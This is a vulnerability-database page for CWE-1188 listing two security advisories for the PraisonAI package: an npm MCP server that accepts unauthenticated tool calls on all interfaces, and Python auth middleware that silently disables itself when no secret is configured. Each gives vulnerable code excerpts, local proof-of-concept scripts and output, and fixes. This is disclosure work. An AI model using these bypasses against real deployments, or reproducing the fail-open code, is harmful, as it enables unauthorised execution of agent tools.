CWE-1188
AllowedInitialization of a Resource with an Insecure Default
Abstraction: Base · Status: Incomplete
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
402 vulnerabilities reference this CWE, most recent first.
GHSA-J4F3-55X4-R6Q2
Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-06-18 14:26Summary
The published npm package praisonai exports a TypeScript MCPServer that can expose tools, resources, and prompts over an HTTP JSON-RPC transport with:
await server.start({ port: 3000 });
The HTTP transport has no authentication or authorization path. MCPServerConfig does not expose an auth/security setting, startHttp() ignores the Authorization header, and every POST request is parsed and forwarded directly to handleRequest(). That request handler dispatches sensitive MCP methods such as tools/call, resources/read, and prompts/get.
The implementation also calls this.httpServer.listen(port) without a host argument. In Node.js this binds to the unspecified address; the local PoV observed { address: "::", family: "IPv6" }, making the service reachable on all interfaces on systems where the port is exposed.
This lets any network client that can reach the HTTP port list tools and invoke registered server-side tools without credentials. Supplying Authorization: Bearer invalid makes no difference.
Technical Details
MCPServerConfig exposes server metadata, tools/resources/prompts, stdio, port, and logging. It does not expose an auth token, authorization policy, MCPSecurity instance, authorization callback, or loopback-only option:
src/praisonai-ts/src/mcp/server.ts
57: export interface MCPServerConfig {
63: tools?: MCPServerTool[];
65: resources?: MCPResource[];
67: prompts?: MCPPrompt[];
69: stdio?: boolean;
73: port?: number | null;
75: logging?: boolean;
handleRequest() dispatches sensitive MCP methods directly:
src/praisonai-ts/src/mcp/server.ts
203: async handleRequest(request: MCPRequest): Promise<MCPResponse> {
219: case 'tools/call':
220: result = await this.handleToolCall(params);
225: case 'resources/read':
226: result = await this.handleResourceRead(params);
231: case 'prompts/get':
232: result = await this.handlePromptGet(params);
The tool dispatcher invokes the registered handler:
src/praisonai-ts/src/mcp/server.ts
285: private async handleToolCall(params?: any): Promise<any> {
288: const tool = this.tools.get(name);
298: const result = await tool.handler(args ?? {});
The HTTP server parses every POST body and forwards it to handleRequest() with no authentication check:
src/praisonai-ts/src/mcp/server.ts
403: async startHttp(port: number): Promise<void> {
409: this.httpServer = http.createServer(async (req, res) => {
416: const response = await this.handleRequest(request);
434: this.httpServer.listen(port, () => {
This is a guard-coverage gap because the same TypeScript package already ships a dedicated MCP security manager:
src/praisonai-ts/src/mcp/security.ts
2: * MCP Security - Authentication, authorization, and rate limiting
79: export class MCPSecurity {
132: async check(request: { path?: string; method?: string; headers?: ... })
167: const auth = headers['authorization'] ?? headers['Authorization'];
239: case 'authenticate':
303: export function createApiKeyPolicy(...)
MCPServer never references that security manager in its HTTP request path.
Why This Is Not Intended Behavior
PraisonAI's MCP documentation says MCP servers allow AI models to use tools and communicate with external systems. The same page's security considerations say to use API keys in production, implement rate limiting, validate incoming requests, use HTTPS, and limit custom tool permissions.
PraisonAI's security page also documents prior breaking hardening where API servers were changed to require authentication by default and bind to 127.0.0.1 instead of 0.0.0.0. It separately lists MCP tools/call issues as security vulnerabilities.
The npm TypeScript MCPServer does the opposite:
start({ port })binds to the unspecified address;MCPServerConfighas no auth/security field;startHttp()does not inspectAuthorization;tools/list,tools/call,resources/read, andprompts/getall dispatch without authentication; andMCPSecurityexists but is not wired into the HTTP server.
This is not merely a deployment hardening suggestion. The package exposes an HTTP MCP server API and a separate security manager, but the server's own HTTP transport provides no way to enforce the documented API-key requirement.
PoV
The PoV installs the published npm package in a temporary project, starts the exported MCPServer on a local ephemeral port, and sends loopback JSON-RPC requests. It does not call any LLM provider or external service after package installation.
Run from a local reproduction checkout:
node poc/pov_poc.js 1.7.1
Observed result:
{
"package": "praisonai",
"version": "1.7.1",
"mcpServerExported": true,
"bindAddress": {
"address": "::",
"family": "IPv6"
},
"initialize": {
"status": 200
},
"list": {
"status": 200,
"json": {
"result": {
"tools": [
{
"name": "admin_reset_marker",
"description": "privileged marker tool"
}
]
}
}
},
"callNoAuth": {
"status": 200,
"json": {
"result": {
"content": [
{
"text": "invoked:NO_AUTH_MARKER"
}
]
}
}
},
"callBadAuth": {
"status": 200,
"json": {
"result": {
"content": [
{
"text": "invoked:BAD_AUTH_MARKER"
}
]
}
}
},
"calls": [
"NO_AUTH_MARKER",
"BAD_AUTH_MARKER"
],
"patchedControl": {
"noAuthStatus": 401,
"withAuthStatus": 200,
"patchedCalls": [
"called"
]
}
}
Interpretation:
- unauthenticated
initializereturns200; - unauthenticated
tools/listreturns the registered tool; - unauthenticated
tools/callinvokes the registered tool; - invalid
Authorization: Bearer invalidis ignored and also invokes the tool; - the server binds to the unspecified IPv6 address; and
- a minimal local wrapper that enforces a bearer token blocks the same no-auth call with
401, demonstrating that the PoV is exercising the missing authentication boundary.
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
Any client that can reach the npm TypeScript MCPServer HTTP port can list and invoke all registered MCP tools without credentials.
Real impact depends on which tools, resources, and prompts the application registers. MCP tools commonly wrap filesystem operations, API clients, database queries, agent actions, deployment operations, email/Slack actions, browser automation, and code execution. Because those handlers run with the server process privileges and server-side credentials, an unauthenticated caller can drive the same actions.
resources/read and prompts/get are also unauthenticated and may disclose application data or prompt material registered by the server.
Severity
Suggested severity: Critical.
Rationale:
AV: exploitation is a direct HTTP JSON-RPC request.AC: no race, user gesture, or special state is required.PR: no credentials are required; invalid credentials are ignored.UI: no user interaction is required after the server is running.S: impact is within the authority of the MCP server process and its registered tools.C: resources, prompts, and tool-returned data may expose sensitive data.I: unauthenticated callers can drive server-side tools.A: unauthenticated callers can invoke destructive or resource-consuming tools if registered.
Suggested Fix
Recommended minimum fix:
- Add
security,auth,authRequired,apiKeys, orauthorize(req)toMCPServerConfig. - Fail closed for HTTP transport when auth is not configured, unless the caller explicitly opts into unauthenticated loopback-only development mode.
- Bind HTTP transport to
127.0.0.1by default, or require an explicit host when binding to all interfaces. - Call
MCPSecurity.check(...)or equivalent middleware before every non-health POST request reacheshandleRequest(). - Return
401for missing or invalid credentials before dispatchinginitialize,tools/list,tools/call,resources/read, orprompts/get. - Add Origin/Host protections for loopback HTTP transports to reduce DNS rebinding exposure.
- Add regression tests proving:
- no-auth
tools/listreturns401; - no-auth
tools/callreturns401and does not invoke the handler; - invalid bearer token returns
401; - valid bearer token invokes the handler;
- default
start({ port })does not bind to all interfaces without an explicit opt-in.
Affected Package/Versions
- Repository:
MervinPraison/PraisonAI - Ecosystem:
npm - Package:
praisonai - Component:
src/praisonai-ts/src/mcp/server.ts - Related unused security component:
src/praisonai-ts/src/mcp/security.ts - Current npm version checked:
1.7.1 - Refreshed
origin/mainchecked:1ad58ca02975ff1398efeda694ea2ab78f20cf3e
Confirmed affected range:
>= 1.5.0, <= 1.7.1
Boundary:
1.4.0 does not export MCPServer and does not ship dist/mcp/server.js.
No fixed npm version is known at the time of this report.
Version Sweep
The included sweep installs selected npm versions and checks the HTTP MCPServer path:
node poc/version_sweep_poc.js
Observed result:
1.4.0: mcpServerExported=false, hasDistMcpServer=false
1.5.0: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::
1.5.4: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::
1.6.0: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::
1.7.0: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::
1.7.1: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::
Advisory History
Known related public advisories:
GHSA-9mqq-jqxf-grvw/CVE-2026-44336:pip:praisonaiMCPtools/callpath traversal to RCE in Pythonpraisonai mcp serve, affected<= 4.6.33.CVE-2026-47394:pip:praisonaiincomplete MCP path traversal fix affecting Python workflow/deploy handlers.- poc: deprecated Python MCP SSE Host/Origin/session issue.
- poc: npm TypeScript AgentOS missing authentication.
This report is distinct because it targets:
- ecosystem:
npm; - package:
praisonai; - component:
src/praisonai-ts/src/mcp/server.ts; - root cause: TypeScript
MCPServerHTTP transport missing auth and not usingMCPSecurity; - primitive: unauthenticated and invalid-auth JSON-RPC
tools/callinvokes arbitrary registered TypeScript MCP tools; and - affected range:
>= 1.5.0, <= 1.7.1.
The Python MCP advisories cover path traversal in specific Python MCP tool handlers. They do not cover the npm TypeScript MCPServer transport or its unwired security manager.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.1"
},
"package": {
"ecosystem": "npm",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-306",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:26:48Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe published npm package `praisonai` exports a TypeScript `MCPServer` that can expose tools, resources, and prompts over an HTTP JSON-RPC transport with:\n\n```ts\nawait server.start({ port: 3000 });\n```\n\nThe HTTP transport has no authentication or authorization path. `MCPServerConfig` does not expose an auth/security setting, `startHttp()` ignores the `Authorization` header, and every POST request is parsed and forwarded directly to `handleRequest()`. That request handler dispatches sensitive MCP methods such as `tools/call`, `resources/read`, and `prompts/get`.\n\nThe implementation also calls `this.httpServer.listen(port)` without a host argument. In Node.js this binds to the unspecified address; the local PoV observed `{ address: \"::\", family: \"IPv6\" }`, making the service reachable on all interfaces on systems where the port is exposed.\n\nThis lets any network client that can reach the HTTP port list tools and invoke registered server-side tools without credentials. Supplying `Authorization: Bearer invalid` makes no difference.\n\n## Technical Details\n\n`MCPServerConfig` exposes server metadata, tools/resources/prompts, stdio, port, and logging. It does not expose an auth token, authorization policy, `MCPSecurity` instance, authorization callback, or loopback-only option:\n\n```text\nsrc/praisonai-ts/src/mcp/server.ts\n 57: export interface MCPServerConfig {\n 63: tools?: MCPServerTool[];\n 65: resources?: MCPResource[];\n 67: prompts?: MCPPrompt[];\n 69: stdio?: boolean;\n 73: port?: number | null;\n 75: logging?: boolean;\n```\n\n`handleRequest()` dispatches sensitive MCP methods directly:\n\n```text\nsrc/praisonai-ts/src/mcp/server.ts\n 203: async handleRequest(request: MCPRequest): Promise\u003cMCPResponse\u003e {\n 219: case \u0027tools/call\u0027:\n 220: result = await this.handleToolCall(params);\n 225: case \u0027resources/read\u0027:\n 226: result = await this.handleResourceRead(params);\n 231: case \u0027prompts/get\u0027:\n 232: result = await this.handlePromptGet(params);\n```\n\nThe tool dispatcher invokes the registered handler:\n\n```text\nsrc/praisonai-ts/src/mcp/server.ts\n 285: private async handleToolCall(params?: any): Promise\u003cany\u003e {\n 288: const tool = this.tools.get(name);\n 298: const result = await tool.handler(args ?? {});\n```\n\nThe HTTP server parses every POST body and forwards it to `handleRequest()` with no authentication check:\n\n```text\nsrc/praisonai-ts/src/mcp/server.ts\n 403: async startHttp(port: number): Promise\u003cvoid\u003e {\n 409: this.httpServer = http.createServer(async (req, res) =\u003e {\n 416: const response = await this.handleRequest(request);\n 434: this.httpServer.listen(port, () =\u003e {\n```\n\nThis is a guard-coverage gap because the same TypeScript package already ships a dedicated MCP security manager:\n\n```text\nsrc/praisonai-ts/src/mcp/security.ts\n 2: * MCP Security - Authentication, authorization, and rate limiting\n 79: export class MCPSecurity {\n 132: async check(request: { path?: string; method?: string; headers?: ... })\n 167: const auth = headers[\u0027authorization\u0027] ?? headers[\u0027Authorization\u0027];\n 239: case \u0027authenticate\u0027:\n 303: export function createApiKeyPolicy(...)\n```\n\n`MCPServer` never references that security manager in its HTTP request path.\n\n### Why This Is Not Intended Behavior\n\nPraisonAI\u0027s MCP documentation says MCP servers allow AI models to use tools and communicate with external systems. The same page\u0027s security considerations say to use API keys in production, implement rate limiting, validate incoming requests, use HTTPS, and limit custom tool permissions.\n\nPraisonAI\u0027s security page also documents prior breaking hardening where API servers were changed to require authentication by default and bind to `127.0.0.1` instead of `0.0.0.0`. It separately lists MCP `tools/call` issues as security vulnerabilities.\n\nThe npm TypeScript `MCPServer` does the opposite:\n\n- `start({ port })` binds to the unspecified address;\n- `MCPServerConfig` has no auth/security field;\n- `startHttp()` does not inspect `Authorization`;\n- `tools/list`, `tools/call`, `resources/read`, and `prompts/get` all dispatch without authentication; and\n- `MCPSecurity` exists but is not wired into the HTTP server.\n\nThis is not merely a deployment hardening suggestion. The package exposes an HTTP MCP server API and a separate security manager, but the server\u0027s own HTTP transport provides no way to enforce the documented API-key requirement.\n\n## PoV\n\nThe PoV installs the published npm package in a temporary project, starts the exported `MCPServer` on a local ephemeral port, and sends loopback JSON-RPC requests. It does not call any LLM provider or external service after package installation.\n\nRun from a local reproduction checkout:\n\n```fish\nnode poc/pov_poc.js 1.7.1\n```\n\nObserved result:\n\n```json\n{\n \"package\": \"praisonai\",\n \"version\": \"1.7.1\",\n \"mcpServerExported\": true,\n \"bindAddress\": {\n \"address\": \"::\",\n \"family\": \"IPv6\"\n },\n \"initialize\": {\n \"status\": 200\n },\n \"list\": {\n \"status\": 200,\n \"json\": {\n \"result\": {\n \"tools\": [\n {\n \"name\": \"admin_reset_marker\",\n \"description\": \"privileged marker tool\"\n }\n ]\n }\n }\n },\n \"callNoAuth\": {\n \"status\": 200,\n \"json\": {\n \"result\": {\n \"content\": [\n {\n \"text\": \"invoked:NO_AUTH_MARKER\"\n }\n ]\n }\n }\n },\n \"callBadAuth\": {\n \"status\": 200,\n \"json\": {\n \"result\": {\n \"content\": [\n {\n \"text\": \"invoked:BAD_AUTH_MARKER\"\n }\n ]\n }\n }\n },\n \"calls\": [\n \"NO_AUTH_MARKER\",\n \"BAD_AUTH_MARKER\"\n ],\n \"patchedControl\": {\n \"noAuthStatus\": 401,\n \"withAuthStatus\": 200,\n \"patchedCalls\": [\n \"called\"\n ]\n }\n}\n```\n\nInterpretation:\n\n- unauthenticated `initialize` returns `200`;\n- unauthenticated `tools/list` returns the registered tool;\n- unauthenticated `tools/call` invokes the registered tool;\n- invalid `Authorization: Bearer invalid` is ignored and also invokes the tool;\n- the server binds to the unspecified IPv6 address; and\n- a minimal local wrapper that enforces a bearer token blocks the same no-auth call with `401`, demonstrating that the PoV is exercising the missing authentication boundary.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAny client that can reach the npm TypeScript `MCPServer` HTTP port can list and invoke all registered MCP tools without credentials.\n\nReal impact depends on which tools, resources, and prompts the application registers. MCP tools commonly wrap filesystem operations, API clients, database queries, agent actions, deployment operations, email/Slack actions, browser automation, and code execution. Because those handlers run with the server process privileges and server-side credentials, an unauthenticated caller can drive the same actions.\n\n`resources/read` and `prompts/get` are also unauthenticated and may disclose application data or prompt material registered by the server.\n\n### Severity\n\nSuggested severity: Critical.\n\nRationale:\n\n- `AV`: exploitation is a direct HTTP JSON-RPC request.\n- `AC`: no race, user gesture, or special state is required.\n- `PR`: no credentials are required; invalid credentials are ignored.\n- `UI`: no user interaction is required after the server is running.\n- `S`: impact is within the authority of the MCP server process and its registered tools.\n- `C`: resources, prompts, and tool-returned data may expose sensitive data.\n- `I`: unauthenticated callers can drive server-side tools.\n- `A`: unauthenticated callers can invoke destructive or resource-consuming tools if registered.\n\n## Suggested Fix\n\nRecommended minimum fix:\n\n1. Add `security`, `auth`, `authRequired`, `apiKeys`, or `authorize(req)` to `MCPServerConfig`.\n2. Fail closed for HTTP transport when auth is not configured, unless the caller explicitly opts into unauthenticated loopback-only development mode.\n3. Bind HTTP transport to `127.0.0.1` by default, or require an explicit host when binding to all interfaces.\n4. Call `MCPSecurity.check(...)` or equivalent middleware before every non-health POST request reaches `handleRequest()`.\n5. Return `401` for missing or invalid credentials before dispatching `initialize`, `tools/list`, `tools/call`, `resources/read`, or `prompts/get`.\n6. Add Origin/Host protections for loopback HTTP transports to reduce DNS rebinding exposure.\n7. Add regression tests proving:\n - no-auth `tools/list` returns `401`;\n - no-auth `tools/call` returns `401` and does not invoke the handler;\n - invalid bearer token returns `401`;\n - valid bearer token invokes the handler;\n - default `start({ port })` does not bind to all interfaces without an explicit opt-in.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: `src/praisonai-ts/src/mcp/server.ts`\n- Related unused security component: `src/praisonai-ts/src/mcp/security.ts`\n- Current npm version checked: `1.7.1`\n- Refreshed `origin/main` checked: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected range:\n\n```text\n\u003e= 1.5.0, \u003c= 1.7.1\n```\n\nBoundary:\n\n```text\n1.4.0 does not export MCPServer and does not ship dist/mcp/server.js.\n```\n\nNo fixed npm version is known at the time of this report.\n\n### Version Sweep\n\nThe included sweep installs selected npm versions and checks the HTTP `MCPServer` path:\n\n```fish\nnode poc/version_sweep_poc.js\n```\n\nObserved result:\n\n```text\n1.4.0: mcpServerExported=false, hasDistMcpServer=false\n1.5.0: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::\n1.5.4: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::\n1.6.0: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::\n1.7.0: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::\n1.7.1: mcpServerExported=true, hasDistMcpServer=true, noAuthToolCallInvoked=true, bindAddress=::\n```\n\n## Advisory History\n\nKnown related public advisories:\n\n- `GHSA-9mqq-jqxf-grvw` / `CVE-2026-44336`: `pip:praisonai` MCP `tools/call` path traversal to RCE in Python `praisonai mcp serve`, affected `\u003c= 4.6.33`.\n- `CVE-2026-47394`: `pip:praisonai` incomplete MCP path traversal fix affecting Python workflow/deploy handlers.\n- poc: deprecated Python MCP SSE Host/Origin/session issue.\n- poc: npm TypeScript AgentOS missing authentication.\n\nThis report is distinct because it targets:\n\n- ecosystem: `npm`;\n- package: `praisonai`;\n- component: `src/praisonai-ts/src/mcp/server.ts`;\n- root cause: TypeScript `MCPServer` HTTP transport missing auth and not using `MCPSecurity`;\n- primitive: unauthenticated and invalid-auth JSON-RPC `tools/call` invokes arbitrary registered TypeScript MCP tools; and\n- affected range: `\u003e= 1.5.0, \u003c= 1.7.1`.\n\nThe Python MCP advisories cover path traversal in specific Python MCP tool handlers. They do not cover the npm TypeScript `MCPServer` transport or its unwired security manager.",
"id": "GHSA-j4f3-55x4-r6q2",
"modified": "2026-06-18T14:26:48Z",
"published": "2026-06-18T14:26:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j4f3-55x4-r6q2"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "npm PraisonAI MCPServer exposes unauthenticated HTTP tools/call"
}
GHSA-J4HJ-7HFH-G2F4
Vulnerability from github – Published: 2026-06-18 13:56 – Updated: 2026-06-18 13:56praisonai: recipe serve authentication middleware silently disables itself when no secret is set
Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI
Package: praisonai on PyPI
Version tested: 4.6.48.
File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
TL;DR
praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:
async def dispatch(self, request, call_next):
if request.url.path == "/health":
return await call_next(request)
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
# No key configured, allow request
return await call_next(request)
...
async def dispatch(self, request, call_next):
if request.url.path == "/health":
return await call_next(request)
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
return await call_next(request)
...
The realistic mis-deploy:
- operator sets
auth: api-key(orauth: jwt) in their recipe YAML, expecting that line alone to enable auth, - operator does not set the corresponding
api_key:/jwt_secret:value in the same YAML, AND - operator does not export
PRAISONAI_API_KEY/PRAISONAI_JWT_SECRETin the environment.
The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.
Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.
Root cause
Expected behavior, after setting `auth: api-key` in the recipe YAML:
"Now my recipe endpoints require an X-API-Key header."
Actual behavior (serve.py:325-333):
- middleware reads `expected_key = api_key or
os.environ.get("PRAISONAI_API_KEY")`
- if `expected_key` is None (neither YAML nor env supplied
one), middleware logs nothing and forwards the request.
- operator's recipe routes accept the request as if it were
authenticated. request.state.user is unset.
Impact:
The middleware's documented job is "validate the API key
against the configured value". The configured-value-is-None
case is exactly the case the middleware should fail closed
on — operator has signalled they want auth. Failing open
silently turns a documented authentication into a runtime
no-op.
Empirical verification
poc/poc.py:
- Imports the installed praisonai 4.6.48
praisonai.recipe.servemodule (sha256491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23). - Clears
PRAISONAI_API_KEY/PRAISONAI_JWT_SECRETenv vars to simulate the mis-deploy. - Calls
serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)and instantiates the returned middleware. - Builds a Starlette
Requestfor/runs(the recipe-execution path) with empty headers — noX-API-Key, noAuthorization. await middleware.dispatch(request, fake_call_next)returns the sentinel'REACHED-DOWNSTREAM (path=/runs)'from the fakecall_next— proving the middleware passed the request through without authenticating.- Repeats the test for
auth_type='jwt'— same bypass on the JWT path.
Run log (poc/run-log.txt) summary:
[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env
middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
APIKeyAuthMiddleware allowed the request through without an API key.
JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333
VERDICT: VULNERABLE
EXIT 0
Impact
The recipe-serve surface runs agentic workflows — same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:
- Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
- Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
- In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.
Anchors
praisonai/recipe/serve.py:325-333—APIKeyAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:352-355—JWTAuthMiddleware.dispatchsilent-bypass branch.praisonai/recipe/serve.py:688-694— call site:python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), )
Suggested fix
When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:
def create_auth_middleware(auth_type, api_key=None, jwt_secret=None):
if auth_type == 'api-key':
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
raise SystemExit(
"auth_type='api-key' requested but no API key is "
"configured. Either set `api_key:` in your recipe "
"YAML or export PRAISONAI_API_KEY. Refusing to "
"start with a silently disabled auth middleware."
)
...
elif auth_type == 'jwt':
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
raise SystemExit(
"auth_type='jwt' requested but no JWT secret is "
"configured. Either set `jwt_secret:` in your recipe "
"YAML or export PRAISONAI_JWT_SECRET. Refusing to "
"start with a silently disabled auth middleware."
)
...
This is the same pattern the sibling praisonai.gateway server applies in assert_external_bind_safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.
Steps to reproduce
- Clone the target:
git clone --depth 1 https://github.com/MervinPraison/PraisonAI - Run the proof of concept (
poc.py) against the cloned source. - Observe the result shown under Verified result below.
Proof of concept
poc.py
"""
PoC: praisonai 4.6.48 `praisonai recipe serve` configures
authentication via a `auth:` field in the recipe YAML. Setting
`auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app — and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.
In reality, both middlewares contain an early-return that silently
bypasses authentication when the corresponding secret has not been
configured (neither via the recipe YAML nor via the
PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var).
"""
import hashlib
import inspect
import os
import sys
def main() -> int:
print('=' * 72)
print('praisonai 4.6.48 — recipe serve auth middleware silent bypass')
print('=' * 72)
# Realistic deploy: operator sets `auth: api-key` in YAML but
# forgets to set api_key / env var.
for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'):
if env_var in os.environ:
del os.environ[env_var]
from praisonai.recipe import serve as serve_mod
src = inspect.getsourcefile(serve_mod)
with open(src, 'rb') as f:
raw = f.read()
sha = hashlib.sha256(raw).hexdigest()
print()
print(f'[1] serve.py path : {src}')
print(f' sha256 : {sha}')
from starlette.requests import Request
create_auth_middleware = serve_mod.create_auth_middleware
async def fake_call_next(request):
return f"REACHED-DOWNSTREAM (path={request.url.path})"
async def driver(auth_type: str, headers=None):
scope = {
'type': 'http', 'method': 'GET', 'path': '/runs',
'headers': headers or [], 'query_string': b'', 'scheme': 'http',
'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '',
}
request = Request(scope, receive=lambda: None)
mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)
if mw_cls is None:
return 'middleware-import-failed'
instance = mw_cls(app=None)
return await instance.dispatch(request, fake_call_next)
import asyncio
print()
print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env")
result_apikey = asyncio.run(driver('api-key'))
print(f" middleware.dispatch -> {result_apikey!r}")
print()
print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env")
result_jwt = asyncio.run(driver('jwt'))
print(f" middleware.dispatch -> {result_jwt!r}")
vulnerable = False
if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey:
vulnerable = True
print(' APIKeyAuthMiddleware allowed the request through without an API key.')
if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt:
vulnerable = True
print(' JWTAuthMiddleware allowed the request through without a Bearer token.')
# Static check that the bypass is on the code path.
text = raw.decode('utf-8', errors='replace')
needle_api = '# No key configured, allow request'
apikey_line = next(
(i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),
None,
)
print()
print('[4] static cross-check — bypass branch on the code path')
print(f" grep '{needle_api}' -> line {apikey_line}")
if not vulnerable:
print('UNEXPECTED — the dispatch did not return the bypass result.')
return 1
print()
print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes')
print(' both silently bypass auth when the operator sets auth_type')
print(' but forgets the corresponding secret — unauthenticated access')
print(' to recipe execution endpoints.')
print('VERDICT: VULNERABLE')
return 0
if __name__ == '__main__':
sys.exit(main())
Verification harness (executed against the cloned repo)
This drives the unmodified upstream code rather than a reproduction.
import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI_API_KEY", None) # operator forgot to export it too
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import PlainTextResponse
from starlette.testclient import TestClient
def make_app(mw):
app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])])
app.add_middleware(mw); return TestClient(app)
# (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses
MW_bypass = serve.create_auth_middleware("api-key", api_key=None) # REAL factory
r = make_app(MW_bypass).post("/run")
print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}")
# (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401
MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret")
r2 = make_app(MW_enforced).post("/run")
print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status_code} (correctly rejected)")
assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401
print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")
Verified result
This PoC was executed against the live upstream code; captured output:
[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated
Credit
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.48"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-306"
],
"github_reviewed": true,
